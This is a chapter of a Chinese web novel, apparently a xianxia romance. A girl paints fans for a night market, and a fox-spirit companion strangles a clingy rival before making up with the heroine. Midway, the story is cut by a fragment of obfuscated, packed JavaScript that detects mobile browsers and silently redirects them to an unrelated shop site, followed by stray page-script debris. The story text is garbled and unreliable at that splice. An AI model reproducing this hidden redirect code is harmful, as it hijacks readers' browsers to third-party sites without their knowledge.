余晚晚回了屋子里的第一件事,便是去找如烟。
她挑了几幅她昨日里画的较为满意的,拿去给如烟看。
如此一来二去,约莫十日后,余晚晚的画工精进了不少。
她本就学过西洋画,自然是有一些功底的。
虽说画的种类不同,但是那些学过的东西犹如长在皮肉中,无论怎样扭转变化,自有其相通之处。
如烟姑娘对余晚晚的进步,亦是感到十分欣喜。
“你的进步,比我设想中的还要快呢~”
“今日夜里,我就可以出门摆摊去了。”余晚晚提着手中的笔儿,晃着小脑袋感叹:“希望我帮如烟姑娘绑心上人的时候,也能如此顺利。”
这样,那条可储纳物品的小银链,就是她的啦~
从如烟那儿回了客站之后,余晚晚便开始收拾小画扇,为夜里的摆摊做准备。
这些天里,她倒是清净得很。
陆媛似乎移情别恋了,她不再盯着沈之礼。
于是沈之礼与汪明珠那边无人干涉,余晚晚暂且也不用操心了。
至于宴寻,陆媛整日去骚扰他,余晚晚就在一边看戏。
她的攻略对象,还能因为区区一个陆媛跑了不成?
此刻,余晚晚就在屋里,还能听到陆媛边敲宴寻的门,边朝里面喊话。
“宴师弟,你在屋里吗?”
“宴师弟,你们隐山阁还收弟子吗?我在阙玉宗都待腻了,我可以去陪你啊。”
“宴师弟,你饿了吗?我给你买了莲花酥。”
……
待在屋里整理扇子的余晚晚笑得合不拢嘴。
一想到宴寻被陆媛吵到恼怒的模样,她就乐得慌。
她还得谢谢宴寻,替她转移了陆媛的注意力呢。
如此一来,余晚晚这些天才能安心做自己的事。
她将小扇子的扇柄每十个分作一把扎好,尔后满意地抚了抚掌。
“小狐狸,很快你就有好东西吃啦。”
一抬头,宴寻已经立在了眼前。
“你来啦。”余晚晚笑着和他打了声招呼。
“那女人真烦。”宴寻走到余晚晚屋里的木榻边,拿起搁在一边的话本子,十分自然地躺下看了起来。
余晚晚咬着下唇偷笑。
榻上那人斜睨她一眼,眸中划过一丝厉色:“你笑什么?”
他被那个陆媛缠住,她就这么高兴?
沈之礼被陆媛缠住的时候,她急得上蹿下跳,可不是这样的反应。
“我高兴啊,不可以笑吗?”余晚晚不知宴寻的心理活动,直往火坑里跳。
“高兴……”他玩味似的说出这两个字,冷声笑了。
收好扇子后,余晚晚走到宴寻面前,弯身戳了戳他的肩膀:“把衣服脱了。”
宴寻:“……”
余晚晚见他一动不动,道:“你别想歪,我就是看看你恢复得怎么样了。”
伤口是早就愈合了,但是余晚晚希望看到的是一切恢复如初,而不仅仅是愈合。
“晚上再给你看。”宴寻垂下眸子,继续看话本子。
“也行。”余晚晚在他身旁坐下。
--------
入了夜,余晚晚在楹海城的闹市区摆了两个多时辰的摊子,收成还算不错,楹海城的精怪们也很热情。
有一些画风稀奇古怪的小扇子,若是在寻常人类的世界,定然不会受欢迎,但是在这里却不一样。
收摊之后,余晚晚买了两串糖葫芦,准备回去后分宴寻一串。
她在人群里穿梭着,提着剩余的一些扇子走到小巷子边,尔后她拿出小画纸,一眨眼的功夫就穿回了自己屋里。
这就去瞧瞧宴寻!
倏地一穿过去,屋内的场景令她惊呆了。
宴寻神色平静,嘴角还勾着一抹笑,手却死死掐住了陆媛的脖子,将她凌空抬起。
陆媛面色涨红,拼命挣扎着,如同一只即将被宰的鸡,扑棱扑棱着。
这这这……啥情况?
“宴寻快住手!”余晚晚放下手中的糖葫芦,朝那儿扑了过去,“你这是要干什么?”
“我要她死。”宴寻扭过头,看似平静的眸中却暗藏利刃,不含一丝情感。
“别别别。”余晚晚去掰他的手,掰了好久,他才松了手。
陆媛一下跌坐在地。
“你干什么呀?”余晚晚揪了揪宴寻的衣袖,有些不解与心慌。
宴寻走到一边,拿过毛巾,嫌恶似的擦了擦手心。
“我已经警告过她很多次了,若是再来烦我就杀了她,这次可是她自己送上门来的,怪不得我。”
余晚晚一时噤了声。
宴寻走到陆媛面前,蹲下。
定定盯着她片刻,他猛然吼道:“还不快滚!”
如同爆发的野兽。
不止陆媛,连旁边的余晚晚也吓得一抖。
“宴寻你……稍微……稍微温柔一点吧。”她小心翼翼地劝着。
地上的陆媛爬了起来,不敢再多言,她拖着身子,踉踉跄跄地跑了出去。
屋子里只剩下了余晚晚和宴寻。
余晚晚怯怯地睨了宴寻一眼,她摸过方才被她搁在桌上的那串糖葫芦,递给宴寻。
“吃……吃吧,给你的。”
宴寻朝着余晚晚走近几步,一把搂住她的腰,他的声音瞬间轻了起来:“你怕什么?”
他还唯恐将她吓坏呢。
余晚晚举着糖葫芦,小声嗫嚅:“你刚刚有点凶。”
见她有些委屈的模样,他一下就心软了:“我凶的不是你,别怕。”
余晚晚点头,晃了晃手里的糖葫芦,仰头问他:“糖葫芦,吃吗?”
“吃。”他夺过她手中的糖葫芦,扔到了一边。
余晚晚眉头皱起,嘴巴一翘,有些不高兴了:“这可是我专门替你买来的,你怎能么这样?”
狐狸又开始践踏她的好心了,白眼狐狸。
宴寻低头,看着余晚晚翘起的嘴,他扣住她的腰,弯身将唇压上了她翘起的唇,压扁。
“晚晚,不许噘嘴。”
他的嘴巴一松开,余晚晚的嘴又翘了起来。
“宴寻,不许这样对我的糖葫芦。”余晚晚指着被扔在地上的糖葫芦,脸都气得鼓了起来。
宴寻松开她,将那串糖葫芦捡了回来,他撕开了那面那层纸包装,哄她道:“我吃,现在就吃。”
这还差不多。
宴寻当着余晚晚的面,一点一点,乖乖吃掉了最后两颗糖葫芦。
他的腮帮子鼓鼓的,一左一右塞了两个小球。
余晚晚觉得他这样甚是可爱,不禁眯起眼睛冲他笑了一笑。
忽而,她又想起了方才陆媛脖子上的红印,也不知道短时间能不能消下去。
若是消不下去,陆媛带着脖子上的红痕,去找沈之礼和汪明珠控诉宴寻的罪行,他们二人以后又会怎么看宴寻呢?
若是不知道宴寻当年在宴府大开杀戒也好,凭借他装无辜的能力,没准能骗过他们二人。
但如今,经历过吴州红林山狐仙庙那一关,汪明珠与沈之礼都已经知道了这一切。
他们知道宴寻是会做出这种事的人。
若是陆媛告状,他们极有可能相信陆媛。
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13672096|130345||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>余晚晚看着腮帮子鼓动的宴寻道:“宴寻,你会不会像沈哥哥一样疗伤?”
宴寻嚼糖葫芦的动作停止,眉头蹙了起来。
他显然感到很不爽。
甚至连口中的糖葫芦也不甜了。
余晚晚将他不爽的皱眉解读成了不解,她于是向他说得更详细了一些。
“嗯……就是,我们在安乐镇,从幻境中出来之后,我不是胳膊肘子受伤了么,沈哥哥那时候打算替我治疗的,你还记不记得?那个方法你应该也会用吧?”
宴寻的修为不比沈之礼低,按理来说应该是没问题的。
余晚晚的眼中闪烁着一点期待。
宴寻吃掉储存在腮帮子里的两颗糖葫芦,眸中划过一丝担忧:“晚晚,你受伤了?”
余晚晚摇头:“没有,我的意思是……陆媛脖子上被你勒出印子了……你要不去帮她恢复一下吧。”
宴寻蹙起的眉头渐渐舒展开来,漆黑眸子里的光却愈发幽深了。
原来,她是要让他去帮别人。
“余晚晚,你还真是宽宏大量。”他冷声抛出这么一句,面上再无一点笑意。
兔子的宽宏大量,不就是证明了她根本不在乎他吗?
若换做是让沈之礼去,她早就要跳脚了。
余晚晚只顾着专心想事情,还没有察觉到宴寻的不爽,她说:“陆媛脖子上的痕迹,若是被沈哥哥和珠姐姐看到了,到时候陆媛说你要杀她,那怎么办?”
宴寻盯住她的眼睛,一字一句认真道:“今日是因为你,我才饶了她一命,若是她还敢说出去,我便要她死。”
看来是劝不动了。
余晚晚就此闭嘴。
--------
陆媛被宴寻掐了脖子后的好几天,一反常态地安稳。
余晚晚那几日过得相当清闲安心。
然而令余晚晚没有想到的是,几天过后的下午,她将画具拿到宴寻屋里,与他一同画扇子,未过多久,陆媛又来敲门了。
这次开门的还是余晚晚,因为只有余晚晚会给她开门。
之前陆媛进宴寻房间都是爬窗进去的。
“余晚晚,怎么又是你?”
陆媛努力维持一个好面色,但是所呈现出来的面色还是十分不善。
余晚晚觉得,陆媛浑身透着一股死不悔改的劲儿,前几天还觉得她有一点点可怜的火苗瞬间灭了下去。
余晚晚实话实说:“不可以是我吗?除了我,还有谁会给你开门?”
“让我进去,我来找宴师弟。”陆媛朝里张望。
这人怎么回事,上次都差点被掐死了,几天一过,居然还能找上门来。
余晚晚现在非常能理解了,为什么宴寻好端端地要杀陆媛。
质量上好的狗皮膏药,根本甩不掉。
“陆媛。”余□□脆直呼其名,“你还想被掐脖子吗?”
陆媛忽然面色羞红,“若是宴师弟想,那又有什么不可以呢?”
她探着脑袋往里使劲瞅,“宴师弟,你说是吧!”
余晚晚发誓,陆媛在她心目中的形象又高了一个阶层。
多么感人,她居然自愿被宴寻掐脖子。
说得余晚晚都有点儿想放她进来了。
“陆媛,怎么说呢……我劝你还是放弃吧。”
陆媛仿若听见了什么荒唐的话:“放弃?余晚晚,你怎么不放弃呢?”
她都怀疑余晚晚是专门和她对着干的了。
先前她对沈之礼有些仰慕之心,余晚晚一直干涉在其中。
这些日子她瞄准了宴寻,余晚晚又在其中捣鬼。
实在是太坏了!